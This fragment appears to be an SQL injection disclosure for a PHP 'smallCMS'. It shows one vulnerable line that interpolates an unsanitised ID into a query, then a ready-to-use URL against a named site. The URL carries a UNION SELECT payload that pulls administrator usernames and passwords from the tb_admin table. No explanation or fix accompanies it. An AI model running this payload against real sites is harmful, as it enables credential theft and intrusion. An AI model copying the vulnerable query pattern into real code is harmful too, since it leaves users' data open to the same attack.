if($res = $this->db->query("SELECT rentobject_id,name,marke, weight,power,engine,imgurl FROM tb_{$this->subcmd} WHERE rentobject_id = {$this->id}"))
http://www.fastproject.ch/smallCMS/index.php?pageid=8&rentobject_id=1+union+select+1,concat_ws(0x3a,admin_user,admin_pw),3,4,5,6,7+from+tb_admin--